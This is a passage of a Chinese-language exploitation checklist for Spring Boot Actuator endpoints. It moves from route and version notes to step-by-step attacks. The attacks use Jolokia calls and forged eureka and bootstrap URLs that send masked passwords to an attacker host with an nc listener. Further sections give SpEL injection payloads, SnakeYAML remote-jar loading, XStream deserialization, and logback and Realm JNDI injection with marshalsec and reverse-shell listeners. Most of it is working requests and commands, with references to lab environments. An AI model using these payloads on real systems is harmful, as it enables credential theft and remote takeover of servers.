117 | * [利用方法:](#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-10)
118 | * [步骤一:查看环境依赖](#%E6%AD%A5%E9%AA%A4%E4%B8%80%E6%9F%A5%E7%9C%8B%E7%8E%AF%E5%A2%83%E4%BE%9D%E8%B5%96)
119 | * [步骤二:架设恶意 rogue mysql server](#%E6%AD%A5%E9%AA%A4%E4%BA%8C%E6%9E%B6%E8%AE%BE%E6%81%B6%E6%84%8F-rogue-mysql-server)
120 | * [步骤三:设置 spring\.datasource\.url 属性](#%E6%AD%A5%E9%AA%A4%E4%B8%89%E8%AE%BE%E7%BD%AE-springdatasourceurl-%E5%B1%9E%E6%80%A7)
121 | * [步骤四:刷新配置](#%E6%AD%A5%E9%AA%A4%E5%9B%9B%E5%88%B7%E6%96%B0%E9%85%8D%E7%BD%AE-1)
122 | * [步骤五:触发数据库查询](#%E6%AD%A5%E9%AA%A4%E4%BA%94%E8%A7%A6%E5%8F%91%E6%95%B0%E6%8D%AE%E5%BA%93%E6%9F%A5%E8%AF%A2)
123 | * [步骤六:恢复正常 jdbc url](#%E6%AD%A5%E9%AA%A4%E5%85%AD%E6%81%A2%E5%A4%8D%E6%AD%A3%E5%B8%B8-jdbc-url)
124 | * [漏洞原理:](#%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86-6)
125 | * [漏洞分析:](#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90-7)
126 | * [漏洞环境:](#%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83-7)
127 |
128 |
129 |
130 | ## 零:路由和版本
131 |
132 | ### 0x01:路由知识
133 |
134 | - Spring Boot 1.x 版本默认内置路由的根路径以 `/` 开始,2.x 则统一以 `/actuator` 开始
135 | - 有些程序员会自定义 `/manage`、`/management` 或 **项目相关名称** 为根路径
136 | - 默认内置路由名字,如 `/env` 有时候也会被程序员修改,如修改成 `/appenv`
137 |
138 |
139 |
140 | ### 0x02:版本知识
141 |
142 | > Spring Cloud 是基于 Spring Boot 来进行构建服务,并提供如配置管理、服务注册与发现、智能路由等常见功能的帮助快速开发分布式系统的系列框架的有序集合。
143 |
144 |
145 |
146 | #### 常见组件的版本相互依赖关系:
147 |
148 | | 依赖项 | 版本列表及依赖组件版本 |
149 | | -------------------------- | ------------------------------------------------------------ |
150 | | spring-boot-starter-parent | [spring-boot-starter-parent](https://mvnrepository.com/artifact/org.springframework.boot/spring-boot-starter-parent) |
151 | | spring-boot-dependencies | [spring-boot-dependencies](https://mvnrepository.com/artifact/org.springframework.boot/spring-boot-dependencies) |
152 | | spring-cloud-dependencies | [spring-cloud-dependencies](https://mvnrepository.com/artifact/org.springframework.cloud/spring-cloud-dependencies) |
153 |
154 |
155 |
156 | #### Spring Cloud 与 Spring Boot 大版本之间的依赖关系:
157 |
158 | | Spring Cloud | Spring Boot |
159 | | ------------ | ------------------------------------ |
160 | | Angel | 兼容 Spring Boot 1.2.x |
161 | | Brixton | 兼容 Spring Boot 1.3.x、1.4.x |
162 | | Camden | 兼容 Spring Boot 1.4.x、1.5.x |
163 | | Dalston | 兼容 Spring Boot 1.5.x,不兼容 2.0.x |
164 | | Edgware | 兼容 Spring Boot 1.5.x,不兼容 2.0.x |
165 | | Finchley | 兼容 Spring Boot 2.0.x,不兼容 1.5.x |
166 | | Greenwich | 兼容 Spring Boot 2.1.x |
167 | | Hoxton | 兼容 Spring Boot 2.2.x |
168 |
169 |
170 |
171 | #### Spring Cloud 小版本号的后缀及含义:
172 |
173 | | 版本号后缀 | 含义 |
174 | | -------------- | --------------------------------------- |
175 | | BUILD-SNAPSHOT | 快照版,代码不是固定,处于变化之中 |
176 | | MX | 里程碑版 |
177 | | RCX | 候选发布版 |
178 | | RELEASE | 正式发布版 |
179 | | SRX | (修复错误和 bug 并再次发布的)正式发布版 |
180 |
181 |
182 |
183 | ## 一:信息泄露
184 |
185 | ### 0x01:路由地址及接口调用详情泄漏
186 |
187 | > 开发环境切换为线上生产环境时,相关人员没有更改配置文件或忘记切换配置环境,导致此漏洞
188 | >
189 |
190 |
191 |
192 | 直接访问以下几个路由,验证漏洞是否存在:
193 |
194 | ```
195 | /api-docs
196 | /v2/api-docs
197 | /swagger-ui.html
198 | ```
199 |
200 | 一些可能会遇到的接口路由变形:
201 |
202 | ```
203 | /api.html
204 | /sw/swagger-ui.html
205 | /api/swagger-ui.html
206 | /template/swagger-ui.html
207 | /spring-security-rest/api/swagger-ui.html
208 | /spring-security-oauth-resource/swagger-ui.html
209 | ```
210 |
211 |
212 |
213 | 除此之外,下面的路由有时也会包含(或推测出)一些接口地址信息,但是无法获得参数相关信息:
214 |
215 | ```
216 | /mappings
217 | /actuator/mappings
218 | /metrics
219 | /actuator/metrics
220 | /beans
221 | /actuator/beans
222 | /configprops
223 | /actuator/configprops
224 | ```
225 |
226 |
227 |
228 | **一般来讲,知道 spring boot 应用的相关接口和传参信息并不能算是漏洞**;
229 |
230 | 但是可以检查暴露的接口是否存在未授权访问、越权或者其他业务型漏洞。
231 |
232 |
233 |
234 | ### 0x02:配置不当而暴露的路由
235 |
236 | > 主要是因为程序员开发时没有意识到暴露路由可能会造成安全风险,或者没有按照标准流程开发,忘记上线时需要修改/切换生产环境的配置
237 |
238 |
239 |
240 | 参考 [production-ready-endpoints](https://docs.spring.io/spring-boot/docs/1.5.10.RELEASE/reference/htmlsingle/#production-ready-endpoints) 和 [spring-boot.txt](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt),可能因为配置不当而暴露的默认内置路由可能会有:
241 |
242 | ```
243 | /actuator
244 | /auditevents
245 | /autoconfig
246 | /beans
247 | /caches
248 | /conditions
249 | /configprops
250 | /docs
251 | /dump
252 | /env
253 | /flyway
254 | /health
255 | /heapdump
256 | /httptrace
257 | /info
258 | /intergrationgraph
259 | /jolokia
260 | /logfile
261 | /loggers
262 | /liquibase
263 | /metrics
264 | /mappings
265 | /prometheus
266 | /refresh
267 | /scheduledtasks
268 | /sessions
269 | /shutdown
270 | /trace
271 | /threaddump
272 | /actuator/auditevents
273 | /actuator/beans
274 | /actuator/health
275 | /actuator/conditions
276 | /actuator/configprops
277 | /actuator/env
278 | /actuator/info
279 | /actuator/loggers
280 | /actuator/heapdump
281 | /actuator/threaddump
282 | /actuator/metrics
283 | /actuator/scheduledtasks
284 | /actuator/httptrace
285 | /actuator/mappings
286 | /actuator/jolokia
287 | /actuator/hystrix.stream
288 | ```
289 |
290 |
291 |
292 | 其中对寻找漏洞比较重要接口的有:
293 |
294 | - `/env`、`/actuator/env`
295 |
296 | GET 请求 `/env` 会泄露环境变量信息,或者配置中的一些用户名,当程序员的属性名命名不规范 (例如 password 写成 psasword、pwd) 时,会泄露密码明文;
297 |
298 | 同时有一定概率可以通过 POST 请求 `/env` 接口设置一些属性,触发相关 RCE 漏洞。
299 |
300 | - `/jolokia`
301 |
302 | 通过 `/jolokia/list` 接口寻找可以利用的 MBean,触发相关 RCE 漏洞;
303 |
304 | - `/trace`
305 |
306 | 一些 http 请求包访问跟踪信息,有可能发现有效的 cookie 信息
307 |
308 |
309 |
310 | ### 0x03:获取被星号脱敏的密码的明文 (方法一)
311 |
312 | > 访问 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 * 号替换达到脱敏的效果
313 |
314 | #### 利用条件:
315 |
316 | - 目标网站存在 `/jolokia` 或 `/actuator/jolokia` 接口
317 | - 目标使用了 `jolokia-core` 依赖(版本要求暂未知)
318 |
319 |
320 |
321 | #### 利用方法:
322 |
323 | ##### 步骤一: 找到想要获取的属性名
324 |
325 | GET 请求目标网站的 `/env` 或 `/actuator/env` 接口,搜索 `******` 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。
326 |
327 |
328 |
329 | ##### 步骤二: jolokia 调用相关 Mbean 获取明文
330 |
331 | 将下面示例中的 `security.user.password` 替换为实际要获取的属性名,直接发包;明文值结果包含在 response 数据包中的 `value` 键中。
332 |
333 |
334 |
335 | - 调用 `org.springframework.boot` Mbean(**可能更通用**)
336 |
337 | > 实际上是调用 org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar 类实例的 getProperty 方法
338 |
339 | spring 1.x
340 |
341 | ```
342 | POST /jolokia
343 | Content-Type: application/json
344 |
345 | {"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
346 | ```
347 |
348 | spring 2.x
349 |
350 | ```
351 | POST /actuator/jolokia
352 | Content-Type: application/json
353 |
354 | {"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
355 | ```
356 |
357 |
358 |
359 | - 调用 `org.springframework.cloud.context.environment` Mbean(**需要 spring cloud 相关依赖**)
360 |
361 |
362 | > 实际上是调用 org.springframework.cloud.context.environment.EnvironmentManager 类实例的 getProperty 方法
363 |
364 | spring 1.x
365 |
366 | ```
367 | POST /jolokia
368 | Content-Type: application/json
369 |
370 | {"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
371 | ```
372 |
373 | spring 2.x
374 |
375 | ```
376 | POST /actuator/jolokia
377 | Content-Type: application/json
378 |
379 | {"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
380 | ```
381 |
382 |
383 |
384 | ### 0x04:获取被星号脱敏的密码的明文 (方法二)
385 |
386 | > 访问 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 * 号替换达到脱敏的效果
387 |
388 | #### 利用条件:
389 |
390 | - 可以 GET 请求目标网站的 `/env`
391 | - 可以 POST 请求目标网站的 `/env`
392 | - 可以 POST 请求目标网站的 `/refresh` 接口刷新配置(存在 `spring-boot-starter-actuator` 依赖)
393 | - 目标使用了 `spring-cloud-starter-netflix-eureka-client` 依赖
394 | - 目标可以请求攻击者的服务器(请求可出外网)
395 |
396 |
397 |
398 | #### 利用方法:
399 |
400 | ##### 步骤一: 找到想要获取的属性名
401 |
402 | GET 请求目标网站的 `/env` 或 `/actuator/env` 接口,搜索 `******` 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。
403 |
404 |
405 |
406 | ##### 步骤二: 使用 nc 监听 HTTP 请求
407 |
408 | 在自己控制的外网服务器上监听 80 端口:
409 |
410 | ```bash
411 | nc -lvk 80
412 | ```
413 |
414 |
415 |
416 | ##### 步骤三: 设置 eureka.client.serviceUrl.defaultZone 属性
417 |
418 | 将下面 `http://value:${security.user.password}@your-vps-ip` 中的 `security.user.password` 换成自己想要获取的对应的星号 * 遮掩的属性名;
419 |
420 | `your-vps-ip` 换成自己外网服务器的真实 ip 地址。
421 |
422 |
423 |
424 | spring 1.x
425 |
426 | ```
427 | POST /env
428 | Content-Type: application/x-www-form-urlencoded
429 |
430 | eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip
431 | ```
432 |
433 | spring 2.x
434 |
435 | ```
436 | POST /actuator/env
437 | Content-Type: application/json
438 |
439 | {"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}
440 | ```
441 |
442 |
443 |
444 | ##### 步骤四: 刷新配置
445 |
446 | spring 1.x
447 |
448 | ```
449 | POST /refresh
450 | Content-Type: application/x-www-form-urlencoded
451 |
452 | ```
453 |
454 | spring 2.x
455 |
456 | ```
457 | POST /actuator/refresh
458 | Content-Type: application/json
459 |
460 | ```
461 |
462 |
463 |
464 | ##### 步骤五: 解码属性值
465 |
466 | 正常的话,此时 nc 监听的服务器会收到目标发来的请求,其中包含类似如下 `Authorization` 头内容:
467 |
468 | ```
469 | Authorization: Basic dmFsdWU6MTIzNDU2
470 | ```
471 |
472 | 将其中的 `dmFsdWU6MTIzNDU2`部分使用 base64 解码,即可获得类似明文值 `value:123456`,其中的 `123456` 即是目标星号 * 脱敏前的属性值明文。
473 |
474 |
475 |
476 | ### 0x05:获取被星号脱敏的密码的明文 (方法三)
477 |
478 | > 访问 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 * 号替换达到脱敏的效果
479 |
480 | #### 利用条件:
481 |
482 | - 通过 POST `/env` 设置属性触发目标对外网指定地址发起任意 http 请求
483 | - 目标可以请求攻击者的服务器(请求可出外网)
484 |
485 |
486 |
487 | #### 利用方法:
488 |
489 | > 参考 UUUUnotfound 提出的 [issue-1](https://github.com/LandGrey/SpringBootVulExploit/issues/1),可以在目标发外部 http 请求的过程中,在 url path 中利用占位符带出数据
490 |
491 | ##### 步骤一: 找到想要获取的属性名
492 |
493 | GET 请求目标网站的 `/env` 或 `/actuator/env` 接口,搜索 `******` 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。
494 |
495 |
496 |
497 | ##### 步骤二: 使用 nc 监听 HTTP 请求
498 |
499 | 在自己控制的外网服务器上监听 80 端口:
500 |
501 | ```bash
502 | nc -lvk 80
503 | ```
504 |
505 |
506 |
507 | ##### 步骤三: 触发对外 http 请求
508 |
509 | - `spring.cloud.bootstrap.location` 方法(**同时适用于**明文数据中有特殊 url 字符的情况):
510 |
511 |
512 |
513 | spring 1.x
514 |
515 | ```
516 | POST /env
517 | Content-Type: application/x-www-form-urlencoded
518 |
519 | spring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password}
520 | ```
521 |
522 | spring 2.x
523 |
524 | ```
525 | POST /actuator/env
526 | Content-Type: application/json
527 |
528 | {"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}
529 | ```
530 |
531 |
532 |
533 | - `eureka.client.serviceUrl.defaultZone` 方法(**不适用于**明文数据中有特殊 url 字符的情况):
534 |
535 |
536 |
537 | spring 1.x
538 |
539 | ```
540 | POST /env
541 | Content-Type: application/x-www-form-urlencoded
542 |
543 | eureka.client.serviceUrl.defaultZone=http://your-vps-ip/${security.user.password}
544 | ```
545 |
546 | spring 2.x
547 |
548 | ```
549 | POST /actuator/env
550 | Content-Type: application/json
551 |
552 | {"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}
553 | ```
554 |
555 |
556 |
557 | ##### 步骤四: 刷新配置
558 |
559 | spring 1.x
560 |
561 | ```
562 | POST /refresh
563 | Content-Type: application/x-www-form-urlencoded
564 |
565 | ```
566 |
567 | spring 2.x
568 |
569 | ```
570 | POST /actuator/refresh
571 | Content-Type: application/json
572 |
573 | ```
574 |
575 |
576 |
577 | ## 二:远程代码执行
578 |
579 | > 由于 spring boot 相关漏洞可能是多个组件漏洞组合导致的,所以有些漏洞名字起的不太正规,以能区分为准
580 |
581 |
582 |
583 | ### 0x01:whitelabel error page SpEL RCE
584 |
585 | #### 利用条件:
586 |
587 | - spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
588 | - 至少知道一个触发 springboot 默认错误页面的接口及参数名
589 |
590 |
591 |
592 | #### 利用方法:
593 |
594 | ##### 步骤一:找到一个正常传参处
595 |
596 | 比如发现访问 `/article?id=xxx` ,页面会报状态码为 500 的错误: `Whitelabel Error Page`,则后续 payload 都将会在参数 id 处尝试。
597 |
598 |
599 |
600 | ##### 步骤二:执行 SpEL 表达式
601 |
602 | 输入 `/article?id=${7*7}` ,如果发现报错页面将 7*7 的值 49 计算出来显示在报错页面上,那么基本可以确定目标存在 SpEL 表达式注入漏洞。
603 |
604 | 由字符串格式转换成 `0x**` java 字节形式,方便执行任意代码:
605 |
606 | ```python
607 | # coding: utf-8
608 |
609 | result = ""
610 | target = 'open -a Calculator'
611 | for x in target:
612 | result += hex(ord(x)) + ","
613 | print(result.rstrip(','))
614 | ```
615 |
616 | 执行 `open -a Calculator` 命令
617 |
618 | ```java
619 | ${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
620 | ```
621 |
622 |
623 |
624 | #### 漏洞原理:
625 |
626 | 1. spring boot 处理参数值出错,流程进入 `org.springframework.util.PropertyPlaceholderHelper` 类中
627 | 2. 此时 URL 中的参数值会用 `parseStringValue` 方法进行递归解析
628 | 3. 其中 `${}` 包围的内容都会被 `org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration` 类的 `resolvePlaceholder` 方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞
629 |
630 |
631 |
632 | #### 漏洞分析:
633 |
634 | [SpringBoot SpEL表达式注入漏洞-分析与复现](https://www.cnblogs.com/litlife/p/10183137.html)
635 |
636 |
637 |
638 | #### 漏洞环境:
639 |
640 | [repository/springboot-spel-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce)
641 |
642 | 正常访问:
643 |
644 | ```
645 | http://127.0.0.1:9091/article?id=66
646 | ```
647 |
648 | 执行 `open -a Calculator` 命令:
649 |
650 | ```java
651 | http://127.0.0.1:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
652 | ```
653 |
654 |
655 |
656 | ### 0x02:spring cloud SnakeYAML RCE
657 |
658 | #### 利用条件:
659 |
660 | - 可以 POST 请求目标网站的 `/env` 接口设置属性
661 | - 可以 POST 请求目标网站的 `/refresh` 接口刷新配置(存在 `spring-boot-starter-actuator` 依赖)
662 | - 目标依赖的 `spring-cloud-starter` 版本 < 1.3.0.RELEASE
663 | - 目标可以请求攻击者的 HTTP 服务器(请求可出外网)
664 |
665 |
666 |
667 | #### 利用方法:
668 |
669 | ##### 步骤一: 托管 yml 和 jar 文件
670 |
671 | 在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)
672 |
673 | ```bash
674 | # 使用 python 快速开启 http server
675 |
676 | python2 -m SimpleHTTPServer 80
677 | python3 -m http.server 80
678 | ```
679 |
680 |
681 |
682 | 在网站根目录下放置后缀为 `yml` 的文件 `example.yml`,内容如下:
683 |
684 | ```yaml
685 | !!javax.script.ScriptEngineManager [
686 | !!java.net.URLClassLoader [[
687 | !!java.net.URL ["http://your-vps-ip/example.jar"]
688 | ]]
689 | ]
690 | ```
691 |
692 |
693 |
694 | 在网站根目录下放置后缀为 `jar` 的文件 `example.jar`,内容是要执行的代码,代码编写及编译方式参考 [yaml-payload](https://github.com/artsploit/yaml-payload)。
695 |
696 |
697 |
698 | ##### 步骤二: 设置 spring.cloud.bootstrap.location 属性
699 |
700 | spring 1.x
701 |
702 | ```
703 | POST /env
704 | Content-Type: application/x-www-form-urlencoded
705 |
706 | spring.cloud.bootstrap.location=http://your-vps-ip/example.yml
707 | ```
708 |
709 | spring 2.x
710 |
711 | ```
712 | POST /actuator/env
713 | Content-Type: application/json
714 |
715 | {"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/example.yml"}
716 | ```
717 |
718 |
719 |
720 | ##### 步骤三: 刷新配置
721 |
722 | spring 1.x
723 |
724 | ```
725 | POST /refresh
726 | Content-Type: application/x-www-form-urlencoded
727 |
728 | ```
729 |
730 | spring 2.x
731 |
732 | ```
733 | POST /actuator/refresh
734 | Content-Type: application/json
735 |
736 | ```
737 |
738 |
739 |
740 | #### 漏洞原理:
741 |
742 | 1. spring.cloud.bootstrap.location 属性被设置为外部恶意 yml 文件 URL 地址
743 | 2. refresh 触发目标机器请求远程 HTTP 服务器上的 yml 文件,获得其内容
744 | 3. SnakeYAML 由于存在反序列化漏洞,所以解析恶意 yml 内容时会完成指定的动作
745 | 4. 先是触发 java.net.URL 去拉取远程 HTTP 服务器上的恶意 jar 文件
746 | 5. 然后是寻找 jar 文件中实现 javax.script.ScriptEngineFactory 接口的类并实例化
747 | 6. 实例化类时执行恶意代码,造成 RCE 漏洞
748 |
749 |
750 |
751 | #### 漏洞分析:
752 |
753 | [Exploit Spring Boot Actuator 之 Spring Cloud Env 学习笔记](https://b1ngz.github.io/exploit-spring-boot-actuator-spring-cloud-env-note/)
754 |
755 |
756 |
757 | #### 漏洞环境:
758 |
759 | [repository/springcloud-snakeyaml-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springcloud-snakeyaml-rce)
760 |
761 | 正常访问:
762 |
763 | ```
764 | http://127.0.0.1:9092/env
765 | ```
766 |
767 |
768 |
769 | ### 0x03:eureka xstream deserialization RCE
770 |
771 | #### 利用条件:
772 |
773 | - 可以 POST 请求目标网站的 `/env` 接口设置属性
774 | - 可以 POST 请求目标网站的 `/refresh` 接口刷新配置(存在 `spring-boot-starter-actuator` 依赖)
775 | - 目标使用的 `eureka-client` < 1.8.7(通常包含在 `spring-cloud-starter-netflix-eureka-client` 依赖中)
776 | - 目标可以请求攻击者的 HTTP 服务器(请求可出外网)
777 |
778 |
779 |
780 | #### 利用方法:
781 |
782 | ##### 步骤一:架设响应恶意 XStream payload 的网站
783 |
784 | 提供一个依赖 Flask 并符合要求的 [python 脚本示例](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-xstream-rce.py),作用是利用目标 Linux 机器上自带的 python 来反弹shell。
785 |
786 | 使用 python 在自己控制的服务器上运行以上的脚本,并根据实际情况修改脚本中反弹 shell 的 ip 地址和 端口号。
787 |
788 |
789 |
790 | ##### 步骤二:监听反弹 shell 的端口
791 |
792 | 一般使用 nc 监听端口,等待反弹 shell
793 |
794 | ```bash
795 | nc -lvp 443
796 | ```
797 |
798 |
799 |
800 | ##### 步骤三:设置 eureka.client.serviceUrl.defaultZone 属性
801 |
802 | spring 1.x
803 |
804 | ```
805 | POST /env
806 | Content-Type: application/x-www-form-urlencoded
807 |
808 | eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example
809 | ```
810 |
811 | spring 2.x
812 |
813 | ```
814 | POST /actuator/env
815 | Content-Type: application/json
816 |
817 | {"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/example"}
818 | ```
819 |
820 |
821 |
822 | ##### 步骤四:刷新配置
823 |
824 | spring 1.x
825 |
826 | ```
827 | POST /refresh
828 | Content-Type: application/x-www-form-urlencoded
829 |
830 | ```
831 |
832 | spring 2.x
833 |
834 | ```
835 | POST /actuator/refresh
836 | Content-Type: application/json
837 |
838 | ```
839 |
840 |
841 |
842 | #### 漏洞原理:
843 |
844 | 1. eureka.client.serviceUrl.defaultZone 属性被设置为恶意的外部 eureka server URL 地址
845 | 2. refresh 触发目标机器请求远程 URL,提前架设的 fake eureka server 就会返回恶意的 payload
846 | 3. 目标机器相关依赖解析 payload,触发 XStream 反序列化,造成 RCE 漏洞
847 |
848 |
849 |
850 | #### 漏洞分析:
851 |
852 | [Spring Boot Actuator从未授权访问到getshell](https://www.freebuf.com/column/234719.html)
853 |
854 |
855 |
856 | #### 漏洞环境:
857 |
858 | [repository/springboot-eureka-xstream-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-eureka-xstream-rce)
859 |
860 | 正常访问:
861 |
862 | ```
863 | http://127.0.0.1:9093/env
864 | ```
865 |
866 |
867 |
868 | ### 0x04:jolokia logback JNDI RCE
869 |
870 | #### 利用条件:
871 |
872 | - 目标网站存在 `/jolokia` 或 `/actuator/jolokia` 接口
873 | - 目标使用了 `jolokia-core` 依赖(版本要求暂未知)并且环境中存在相关 MBean
874 | - 目标可以请求攻击者的 HTTP 服务器(请求可出外网)
875 |
876 | - JNDI 注入受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP 方式)
877 |
878 |
879 |
880 | #### 利用方法:
881 |
882 | ##### 步骤一:查看已存在的 MBeans
883 |
884 | 访问 `/jolokia/list` 接口,查看是否存在 `ch.qos.logback.classic.jmx.JMXConfigurator` 和 `reloadByURL` 关键词。
885 |
886 |
887 |
888 | ##### 步骤二:托管 xml 文件
889 |
890 | 在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)
891 |
892 | ```bash
893 | # 使用 python 快速开启 http server
894 |
895 | python2 -m SimpleHTTPServer 80
896 | python3 -m http.server 80
897 | ```
898 |
899 |
900 |
901 | 在根目录放置以 `xml` 结尾的 `example.xml` 文件,内容如下:
902 |
903 | ```xml
904 |
905 |
906 |
907 | ```
908 |
909 |
910 |
911 | ##### 步骤三:准备要执行的 Java 代码
912 |
913 | 编写优化过后的用来反弹 shell 的 [Java 示例代码](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java) `JNDIObject.java`,
914 |
915 | 使用兼容低版本 jdk 的方式编译:
916 |
917 | ```bash
918 | javac -source 1.5 -target 1.5 JNDIObject.java
919 | ```
920 |
921 | 然后将生成的 `JNDIObject.class` 文件拷贝到 **步骤二** 中的网站根目录。
922 |
923 |
924 |
925 | ##### 步骤四:架设恶意 ldap 服务
926 |
927 | 下载 [marshalsec](https://github.com/mbechler/marshalsec) ,使用下面命令架设对应的 ldap 服务:
928 |
929 | ```bash
930 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389
931 | ```
932 |
933 |
934 |
935 | ##### 步骤五:监听反弹 shell 的端口
936 |
937 | 一般使用 nc 监听端口,等待反弹 shell
938 |
939 | ```bash
940 | nc -lv 443
941 | ```
942 |
943 |
944 |
945 | ##### 步骤六:从外部 URL 地址加载日志配置文件
946 |
947 | > ⚠️ 如果目标成功请求了example.xml 并且 marshalsec 也接收到了目标请求,但是目标没有请求 JNDIObject.class,大概率是因为目标环境的 jdk 版本太高,导致 JNDI 利用失败。
948 |
949 | 替换实际的 your-vps-ip 地址访问 URL 触发漏洞:
950 |
951 | ```
952 | /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/example.xml
953 | ```
954 |
955 |
956 |
957 | #### 漏洞原理:
958 |
959 | 1. 直接访问可触发漏洞的 URL,相当于通过 jolokia 调用 `ch.qos.logback.classic.jmx.JMXConfigurator` 类的 `reloadByURL` 方法
960 | 2. 目标机器请求外部日志配置文件 URL 地址,获得恶意 xml 文件内容
961 | 3. 目标机器使用 saxParser.parse 解析 xml 文件 (这里导致了 xxe 漏洞)
962 | 4. xml 文件中利用 `logback` 依赖的 `insertFormJNDI` 标签,设置了外部 JNDI 服务器地址
963 | 5. 目标机器请求恶意 JNDI 服务器,导致 JNDI 注入,造成 RCE 漏洞
964 |
965 |
966 |
967 | #### 漏洞分析:
968 |
969 | [spring boot actuator rce via jolokia](https://xz.aliyun.com/t/4258)
970 |
971 |
972 |
973 | #### 漏洞环境:
974 |
975 | [repository/springboot-jolokia-logback-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce)
976 |
977 | 正常访问:
978 |
979 | ```
980 | http://127.0.0.1:9094/env
981 | ```
982 |
983 |
984 |
985 | ### 0x05:jolokia Realm JNDI RCE
986 |
987 | #### 利用条件:
988 |
989 | - 目标网站存在 `/jolokia` 或 `/actuator/jolokia` 接口
990 | - 目标使用了 `jolokia-core` 依赖(版本要求暂未知)并且环境中存在相关 MBean
991 | - 目标可以请求攻击者的服务器(请求可出外网)
992 | - JNDI 注入受目标 JDK 版本影响,jdk < 6u141/7u131/8u121(RMI 方式)
993 |
994 |
995 |
996 | #### 利用方法:
997 |
998 | ##### 步骤一:查看已存在的 MBeans
999 |
1000 | 访问 `/jolokia/list` 接口,查看是否存在 `type=MBeanFactory` 和 `createJNDIRealm` 关键词。
1001 |
1002 |
1003 |
1004 | ##### 步骤二:准备要执行的 Java 代码
1005 |
1006 | 编写优化过后的用来反弹 shell 的 [Java 示例代码](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java) `JNDIObject.java`。
1007 |
1008 |
1009 |
1010 | ##### 步骤三:架设恶意 rmi 服务
1011 |
1012 | 下载 [marshalsec](https://github.com/mbechler/marshalsec) ,使用下面命令架设对应的 rmi 服务:
1013 |
1014 | ```bash
1015 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-vps-ip:80/#JNDIObject 1389
1016 | ```
1017 |
1018 |
1019 |
1020 | ##### 步骤四:监听反弹 shell 的端口
1021 |
1022 | 一般使用 nc 监听端口,等待反弹 shell
1023 |
1024 | ```bash
1025 | nc -lvp 443
1026 | ```
1027 |
1028 |
1029 |
1030 | ##### 步骤五:发送恶意 payload
1031 |
1032 | 根据实际情况修改 [springboot-realm-jndi-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-realm-jndi-rce.py) 脚本中的目标地址,RMI 地址、端口等信息,然后在自己控制的服务器上运行。
1033 |
1034 |
1035 |
1036 | #### 漏洞原理:
1037 |
1038 | 1. 利用 jolokia 调用 createJNDIRealm 创建 JNDIRealm
1039 | 2. 设置 connectionURL 地址为 RMI Service URL
1040 | 3. 设置 contextFactory 为 RegistryContextFactory
1041 | 4. 停止 Realm
1042 | 5. 启动 Realm 以触发指定 RMI 地址的 JNDI 注入,造成 RCE 漏洞
1043 |
1044 |
1045 |
1046 | #### 漏洞分析:
1047 |
1048 | [Yet Another Way to Exploit Spring Boot Actuators via Jolokia](https://static.anquanke.com/download/b/security-geek-2019-q1/article-10.html)
1049 |
1050 |
1051 |
1052 | #### 漏洞环境:
1053 |
